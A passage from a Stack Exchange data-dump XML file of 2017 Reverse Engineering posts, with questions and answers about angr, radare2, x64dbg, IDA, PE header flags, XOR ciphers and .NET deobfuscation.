\]^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can also see that the mapping is self-inverse: &lt;code&gt;HIJK&lt;/code&gt; encrypts to &lt;code&gt;LMNO&lt;/code&gt; while &lt;code&gt;LMNO&lt;/code&gt; encrypts back to &lt;code&gt;HIJK&lt;/code&gt;.  This, along with the regular pattern of letter position swaps, should be a pretty strong hint that we might be dealing with bitwise XOR.  Comparing the ASCII codes of any pair of plaintext/ciphertext letters is then sufficient to reveal the constant key byte (which we can then test on other known input strings to confirm our guess).&lt;/p&gt;&#xA;" OwnerUserId="1499" LastEditorUserId="1499" LastEditDate="2017-08-16T10:19:56.643" LastActivityDate="2017-08-16T10:19:56.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16106" PostTypeId="5" CreationDate="2017-08-16T10:09:56.087" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/angr/angr&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt; is a suite of python libraries that let you load a binary and do a lot of cool things to it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disassembly and intermediate-representation lifting &lt;/li&gt;&#xA;&lt;li&gt;Program instrumentation &lt;/li&gt;&#xA;&lt;li&gt;Symbolic execution &lt;/li&gt;&#xA;&lt;li&gt;Control-flow analysis&lt;/li&gt;&#xA;&lt;li&gt;Data-dependency analysis &lt;/li&gt;&#xA;&lt;li&gt;Value-set analysis (VSA)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-08-16T10:09:56.087" LastActivityDate="2017-08-16T10:09:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16107" PostTypeId="4" CreationDate="2017-08-16T10:09:56.087" Score="0" Body="angr is a Python binary analysis framework developed by the Computer Security Lab at UC Santa Barbara and their associated CTF team, Shellphish.&#xD;&#xA;&#xD;&#xA;project URL: https://github.com/angr/angr" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-08-16T10:09:56.087" LastActivityDate="2017-08-16T10:09:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16108" PostTypeId="1" AcceptedAnswerId="16114" CreationDate="2017-08-16T10:41:57.067" Score="3" ViewCount="909" Body="&lt;p&gt;Imagine a program is launched (on windows) with a few starting parameters, for example a number and a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When disassembling the program (With PEiD for example), how can I find out the starting parameters? What I'd like to do is find out what &quot;variable&quot; the starting parameters are assigned, and then track the use of that variable, in order to find the section in which they get used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am completely new to all of this assembly stuff, so this question may be stupid, but I didn't manage to find my answer through simple googling.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="21248" LastEditorUserId="21248" LastEditDate="2017-08-16T16:35:19.360" LastActivityDate="2017-08-16T18:08:44.400" Title="Disassembled code: Find out command-line arguments of program" Tags="|disassembly|arguments|program-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16109" PostTypeId="2" ParentId="8172" CreationDate="2017-08-16T13:24:09.317" Score="2" Body="&lt;p&gt;old question, but I think I can answer a part of it&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why the name of symbol _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE&#xA;  modified to _ZTTSt14basic_ifstreamIcS&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you've just run into as terminal width limit. By default &lt;code&gt;readelf&lt;/code&gt; limits output lines to 80 characters, you neeed to pass &lt;code&gt;-W&lt;/code&gt; to disable it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-W --wide              Allow output width to exceed 80 characters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-16T13:24:09.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16110" PostTypeId="1" CreationDate="2017-08-16T13:24:50.663" Score="2" ViewCount="335" Body="&lt;p&gt;I have some concerns related to &lt;code&gt;Characteristics&lt;/code&gt; flag &lt;code&gt;IMAGE_FILE_SYSTEM&lt;/code&gt; of &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680313(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IMAGE_FILE_HEADER structure&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to all specs it says that file having this set is System file. However it doesn't clarify meaning of &lt;em&gt;System file&lt;/em&gt;, also I have checked bunch of files from &lt;em&gt;System32&lt;/em&gt; and none of those had it set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows actual meaning of this flag (and if it is not deprecated) and has any real life sample with this flag set.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2017-08-18T21:32:53.457" Title="Does IMAGE_FILE_SYSTEM actually means System file" Tags="|windows|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16111" PostTypeId="2" ParentId="16110" CreationDate="2017-08-16T14:54:04.890" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.pelib.com/resources/luevel.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;PeLib&lt;/a&gt; project:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IMAGE_FILE_SYSTEM is set if the file is a system file such as a&#xA;  driver. This is unused for executable files; it is also not used in&#xA;  all the NT drivers I inspected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I combined a quick Powershell script to check whether a file has the IMAGE_FILE_SYSTEM attribute: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function isSystemFile([string] $filename)&#xA;{&#xA;    # Get the content of the file, as an array of bytes &#xA;    $fileBytes = Get-Content $filename -ReadCount 0 -Encoding byte&#xA;&#xA;    $IMAGE_FILE_SYSTEM = 0x1000 &#xA;&#xA;    # The offset of the signature in the file is stored at location 0x3c. &#xA;    $offsetOfSignature = $fileBytes[0x3c]&#xA;&#xA;    $coffHeader = $offsetOfSignature + 4&#xA;&#xA;    # The characteristics data are 18 bytes into the COFF header. The BitConverter ## class manages the conversion of the 4 bytes into an integer. &#xA;    $characteristicsData = [BitConverter]::ToInt32($fileBytes, $coffHeader + 18)&#xA;&#xA;    # Check if the data from the file has IMAGE_FILE_SYSTEM flag set&#xA;&#xA;    if(($characteristicsData -band $IMAGE_FILE_SYSTEM) -eq $IMAGE_FILE_SYSTEM) &#xA;    {&#xA;        Write-Host &quot;File has IMAGE_FILE_SYSTEM attribute&quot; &#xA;    } &#xA;    else&#xA;    {&#xA;        Write-Host &quot;Nope :-(&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The script might not be accurate, it was written really quick&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about &lt;a href=&quot;https://www.lifewire.com/what-is-a-system-file-2626015&quot; rel=&quot;nofollow noreferrer&quot;&gt;System Files&lt;/a&gt; can be found here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I removed the part about &lt;a href=&quot;https://technet.microsoft.com/en-us/library/bb490868.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;attrib&lt;/a&gt; which is a system-level flag. Thanks @Igor for pointing this out.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-08-16T17:52:27.170" LastActivityDate="2017-08-16T17:52:27.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16112" PostTypeId="1" AcceptedAnswerId="16115" CreationDate="2017-08-16T17:37:25.363" Score="11" ViewCount="5980" Body="&lt;p&gt;I compiled &lt;a href=&quot;https://github.com/python/cpython&quot; rel=&quot;noreferrer&quot;&gt;cpython&lt;/a&gt; with debugging headers and I want to perform the following &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16081/how-to-generate-the-call-graph-of-a-binary/16082#16082&quot;&gt;analysis&lt;/a&gt; using radare2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I encounter is that it takes forever (at least 27 hours) to perform the &lt;code&gt;aaa&lt;/code&gt; (analysis) part. &lt;/p&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="1868" LastEditDate="2017-11-13T15:11:04.480" LastActivityDate="2017-11-13T15:11:04.480" Title="How to make radare2 work for a large binary?" Tags="|binary-analysis|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16113" PostTypeId="2" ParentId="16110" CreationDate="2017-08-16T17:40:50.373" Score="1" Body="&lt;p&gt;I guess it was intended for system files in early NT versions but is unused nowadays. Apparently you can set this flag by using the &lt;code&gt;/dll:system&lt;/code&gt; &lt;a href=&quot;https://www.geoffchappell.com/studies/msvc/link/link/options/dll.htm?tx=37&quot; rel=&quot;nofollow noreferrer&quot;&gt;switch of LINK.EXE&lt;/a&gt; but I don't know of any file actually using it; however apparently such files won't be loaded in user mode (see comment).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-08-18T21:32:53.457" LastActivityDate="2017-08-18T21:32:53.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16114" PostTypeId="2" ParentId="16108" CreationDate="2017-08-16T18:08:44.400" Score="3" Body="&lt;p&gt;Unlike Linux, on Windows command-line arguments are not passed to the program's entrypoint but must be retrieved from the OS by using the API &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms683156(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GetCommandLine&lt;/code&gt;&lt;/a&gt;. However, it is rarely used in actual programs. Usually it is the CRT startup which calls it, then either passes it to the &lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20110525-00/?p=10573&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WinMain&lt;/code&gt; function&lt;/a&gt; (for GUI programs), or splits it into the argument array (&lt;code&gt;argv&lt;/code&gt;) and passes that to &lt;code&gt;main&lt;/code&gt; (for console programs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some disassemblers (e.g. IDA) can automatically identify the CRT code and show you just the &lt;code&gt;main&lt;/code&gt;/&lt;code&gt;WinMain&lt;/code&gt; function, in which case you can just look at the corresponding arguments (&lt;code&gt;argv&lt;/code&gt;/&lt;code&gt;argc&lt;/code&gt; or &lt;code&gt;lpCmdLine&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-16T18:08:44.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16115" PostTypeId="2" ParentId="16112" CreationDate="2017-08-16T18:32:22.497" Score="24" Body="&lt;p&gt;It is not a good practice to run full analysis of your binary at the startup and it also isn't encourged by radare. Running &lt;code&gt;aaa&lt;/code&gt; by default is a heavy action and absolutely not recommended or needed in most of the cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in &lt;a href=&quot;http://radare.today/posts/analysis-by-default/&quot; rel=&quot;noreferrer&quot;&gt;this execllent post&lt;/a&gt; from radare's blog:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Code analysis is not a quick operation, and not even predictable or taking a linear time to be processed. This makes starting times pretty heavy, compared to just loading the headers and strings information like it’s done by default.&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  We enforce users to think about their workflows in order to better understand the problem they are facing and solve it in an optimal way, saving cpu, memory and why not: cats.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To make the analysis process more efficient you can start with configuring different analysis configuration variables in radare. These configuration variables can help you to fit the analysis process to your program and to your needs. Some of the interesting variables are:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;anal.afterjmp  &#xA;anal.depth  &#xA;anal.eobjmp  &#xA;anal.esil  &#xA;anal.hasnext  &#xA;anal.nopskip  &#xA;anal.from&#xA;anal.to&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;See the &lt;code&gt;e??anal.&lt;/code&gt; command to get more detailed descriptions for them.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analysis of a program isn't just performing one action and that's it -- it is combined from different analysis for different needs.&lt;br&gt;&#xA;radare implements many different commands that perform different kind of analysis. Smart use of these command can help you quick the process of the analysis and analyze only the parts which you believe are the most important:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find functions by prelude instructions (&lt;code&gt;aap&lt;/code&gt;)    &lt;/li&gt;&#xA;&lt;li&gt;Identify functions by following calls (&lt;code&gt;aac&lt;/code&gt;)    &lt;/li&gt;&#xA;&lt;li&gt;Detect jump tables and pointers to code section (&lt;code&gt;/V&lt;/code&gt;)     &lt;/li&gt;&#xA;&lt;li&gt;Analyze opcode absolute and relative references (&lt;code&gt;aa\r&lt;/code&gt;)     &lt;/li&gt;&#xA;&lt;li&gt;Find code/data/string references to a specific address (&lt;code&gt;/r&lt;/code&gt;)    &lt;/li&gt;&#xA;&lt;li&gt;Emulate code to identify new pointer references (&lt;code&gt;aae&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Use binary header information to find public functions (&lt;code&gt;aas&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Assume functions are consecutive (&lt;code&gt;aat&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To sums it up, you should think and plan the analysis process that fits best to your needs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;radare2 is not a click-and-run program, it’s a set of orthogonal tools and commands that allows you to understand, analyze, manipulate and play with a large list of binary types... Only experience and understanding will give you control on what you are doing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If after reading this answer and the post in radare's blog you believe its a bug and you can point at the problem, feel free to open an &lt;a href=&quot;https://github.com/radare/radare2/issues&quot; rel=&quot;noreferrer&quot;&gt;issue&lt;/a&gt; on github.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="2221" LastEditDate="2017-08-19T11:33:35.930" LastActivityDate="2017-08-19T11:33:35.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16116" PostTypeId="2" ParentId="14641" CreationDate="2017-08-16T20:31:03.290" Score="3" Body="&lt;p&gt;Here are the steps I would normally do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load the binary in angr.&lt;/li&gt;&#xA;&lt;li&gt;Build a CFG.&lt;/li&gt;&#xA;&lt;li&gt;For each function you care about, first, get a reference of the function (&lt;code&gt;func = cfg.functions[addr]&lt;/code&gt; or &lt;code&gt;func = cfg.functions.function(name=the_name)&lt;/code&gt;), and then traverse the graph (&lt;code&gt;func.graph&lt;/code&gt; or &lt;code&gt;func.transition_graph&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21251" LastActivityDate="2017-08-16T20:31:03.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16117" PostTypeId="2" ParentId="16081" CreationDate="2017-08-16T20:42:36.803" Score="8" Body="&lt;p&gt;You might want to give &lt;a href=&quot;http://angr.io&quot; rel=&quot;noreferrer&quot;&gt;angr&lt;/a&gt; a try.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load the binary. Suppose &lt;code&gt;p&lt;/code&gt; is the angr Project instance.&lt;/li&gt;&#xA;&lt;li&gt;Generate a CFG: &lt;code&gt;cfg = p.analyses.CFG(show_progressbar=True)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Access/traverse the call graph (which is a networkx.DiGraph) in whatever way you want: &lt;code&gt;cfg.functions.callgraph&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example showing the call graph only of specific address range or specific static library&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can limit the range of CFG generation by passing the &lt;code&gt;regions&lt;/code&gt; argument to &lt;code&gt;CFG()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21251" LastEditorUserId="21251" LastEditDate="2017-08-16T23:07:12.523" LastActivityDate="2017-08-16T23:07:12.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16118" PostTypeId="1" AcceptedAnswerId="16119" CreationDate="2017-08-16T20:51:56.370" Score="2" ViewCount="2951" Body="&lt;p&gt;I am trying to disassemble a MIPS 32 version 1 binary with the Radare2 framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full output of the &lt;code&gt;file&lt;/code&gt; command:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, &#xA;interpreter /lib/ld-uClibc.so.0, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21255" LastEditorUserId="53" LastEditDate="2017-08-17T09:10:47.950" LastActivityDate="2017-08-17T09:10:47.950" Title="Disassembling MIPS 32 version 1 binary with the Radare2 Framework" Tags="|disassembly|binary-analysis|elf|radare2|mips|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16119" PostTypeId="2" ParentId="16118" CreationDate="2017-08-16T22:21:07.883" Score="4" Body="&lt;p&gt;First of all, make sure you run the latest version of radare2 from git repository:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/radare/radare2.git&#xA;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don’t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the &lt;a href=&quot;http://radare.org/r/down.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page&lt;/a&gt; at the radare2 website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To open &lt;code&gt;MIPS&lt;/code&gt; binary with radare2, simply use the following command:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -a mips -b 32 ./file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-a&lt;/code&gt; arch - set asm.arch (x86, ppc, arm, mips, bf, java, ...)  &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-b&lt;/code&gt; bits - set asm.bits (16, 32, 64)  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Don't forget to read the manual (&lt;code&gt;man r2&lt;/code&gt;), it's all there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more relative information you can watch Andrew McDonnell's &lt;a href=&quot;https://www.youtube.com/watch?v=R3sGlzXfEkU&quot; rel=&quot;nofollow noreferrer&quot;&gt;talk&lt;/a&gt; &#xA; called &quot;&lt;em&gt;Reverse engineering embedded software using radare2&lt;/em&gt;&quot; (slides: &lt;a href=&quot;http://rada.re/get/r2embed-auckland2015.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel that you need more basic information about radare2 and how to use it, I recommend the following sources:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/radare/radare2book/details&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2 Book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/monosource/radare2-explorations/details&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2 Explorations&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=fnpBy3wWabA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare Demystified&lt;/a&gt; (Talk)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-16T22:21:07.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16120" PostTypeId="2" ParentId="16081" CreationDate="2017-08-17T06:41:12.240" Score="2" Body="&lt;p&gt;Check out &lt;a href=&quot;http://valgrind.org/docs/manual/cl-manual.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Callgrind&lt;/a&gt; or &lt;a href=&quot;https://kcachegrind.github.io/html/Home.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;KCachegrind&lt;/a&gt;. Much simpler than any other alternative.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2020-01-04T09:52:40.200" LastActivityDate="2020-01-04T09:52:40.200" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16121" PostTypeId="1" CreationDate="2017-08-17T11:30:22.907" Score="3" ViewCount="3653" Body="&lt;p&gt;I am looking at some code using x64dbg and found the assembly code that writes to a certain block of memory: &lt;code&gt;dword ptr [rdx + 0x18]&lt;/code&gt;. And changing this space in the dump has an output that I am looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, just out of curiosity, is it possible to find what initially writes to this memory space? It seems to be dynamically allocated as comparing the dumps of the memory space is not identical, and the offset from the start of the block changes each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to put a breakpoint on the memory space, but as it has already been written, I can't back track to see what wrote to it (or can I?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I completely off track?&lt;/p&gt;&#xA;" OwnerUserId="21265" LastEditorUserId="53" LastEditDate="2017-08-17T13:42:58.963" LastActivityDate="2017-09-16T14:39:19.637" Title="Find what writes to a dynamic memory address" Tags="|memory|debuggers|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16122" PostTypeId="2" ParentId="16121" CreationDate="2017-08-17T12:40:35.990" Score="2" Body="&lt;p&gt;If you were under &lt;code&gt;gdb&lt;/code&gt;, I would advise you to use a watchpoint (which can be specified by an arbitrary formula possibly including registers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of x64dbg, what you are looking for are called &quot;&lt;em&gt;Memory Breakpoint&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would advise you to look for these &quot;&lt;em&gt;Memory breakpoints&lt;/em&gt;&quot; in this &lt;a href=&quot;http://reverseengineeringtips.blogspot.fr/2015/01/an-introduction-to-x64dbg.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;very complete tutorial on x64dbg&lt;/a&gt; or directly from the &lt;a href=&quot;http://x64dbg.readthedocs.io/en/latest/commands/breakpoint-control/SetMemoryBPX.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am not an x64dbg user, I do not know if it allows complex formula (as it is in &lt;code&gt;gdb&lt;/code&gt; now). But, I hope that this will be the case.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-17T12:40:35.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16123" PostTypeId="5" CreationDate="2017-08-17T13:19:44.010" Score="0" Body="&lt;p&gt;Official site: &lt;a href=&quot;https://x64dbg.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://x64dbg.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code: &lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/x64dbg/x64dbg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-08-17T13:19:44.010" LastActivityDate="2017-08-17T13:19:44.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16124" PostTypeId="4" CreationDate="2017-08-17T13:19:44.010" Score="0" Body="An open-source x64/x32 debugger for windows with UI inspired by OllyDbg." OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-08-17T13:19:44.010" LastActivityDate="2017-08-17T13:19:44.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16127" PostTypeId="2" ParentId="15811" CreationDate="2017-08-18T04:15:01.570" Score="1" Body="&lt;p&gt;I think it's a MIPS ELF binary. Maybe you can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; (Win/Linux) or &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper&lt;/a&gt; (Mac/Linux) or &lt;a href=&quot;https://www.pnfsoftware.com/jeb2/mips&quot; rel=&quot;nofollow noreferrer&quot;&gt;JEB&lt;/a&gt; (Win/Mac/Linux) to poke around.  If you have a clue about the length or parts of the key, then you could try to search for relevant strings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never tried it myself (MIPS), but maybe the approach helps you. ;)&lt;br&gt;&#xA;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="21275" LastEditorUserId="20067" LastEditDate="2017-09-19T12:34:51.540" LastActivityDate="2017-09-19T12:34:51.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16129" PostTypeId="1" AcceptedAnswerId="16130" CreationDate="2017-08-18T11:15:46.357" Score="0" ViewCount="457" Body="&lt;p&gt;Ok so let's say that a program obfuscated its IAT and i can't see it in IDA Pro. In OllyDbg there is a plugin where you press &lt;code&gt;Ctrl+G&lt;/code&gt; you can search for a library function and set a breakpoint even though that function is not listed in the IAT. My question is how can i do this in IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2017-08-18T13:05:15.137" Title="Getting Xrefs to Windows Library Functions in IDA Pro" Tags="|ida|ollydbg|malware|ida-plugin|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16130" PostTypeId="2" ParentId="16129" CreationDate="2017-08-18T13:05:15.137" Score="1" Body="&lt;p&gt;During debugging, you can use names in format &quot;DllName_export&quot; (e.g.  &lt;code&gt;kernel32_CreateFileA&lt;/code&gt;) to jump to functions exported by the loaded DLLs, or you can use such names in &quot;symbolic breakpoints&quot; so they're automatically added when DLL gets loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: double-click a DLL in the Modules list to see its exports and jump to/set breakpoints on them.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-18T13:05:15.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16131" PostTypeId="1" CreationDate="2017-08-18T13:46:03.440" Score="1" ViewCount="1748" Body="&lt;p&gt;From the obfuscated to the deobfuscated assemblies, IL code looks different using ILDASM; however, DotPeek decompiled C# code looks exactly the same for both. Any clue why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obfuscation software is Dotfuscator. de4dot runs just fine, apparently.&lt;/p&gt;&#xA;" OwnerUserId="21280" LastActivityDate="2017-08-18T13:46:03.440" Title="de4dot and Dotfuscator: IL looks different, not DotPeek decompiled code" Tags="|obfuscation|deobfuscation|.net|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16133" PostTypeId="1" AcceptedAnswerId="16142" CreationDate="2017-08-18T18:42:35.040" Score="1" ViewCount="380" Body="&lt;p&gt;I'm trying to make some changes to .Net dll (note: dll is mixed mode module) used by an exe, ProtectionID detected nothing, so I happily jumped into dnSpy and made changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran executable with dnSpy debugger and everything was working as expected. However when I saved module and tried to run executable, it worked as if no changes were made. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I double checked, but module saved correctly, and x64dbg shows that it is loaded on runtime. So how is this possible?&lt;/p&gt;&#xA;" OwnerUserId="21282" LastActivityDate="2017-08-19T13:08:33.893" Title="Modified dll works as original without debugger attached" Tags="|.net|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
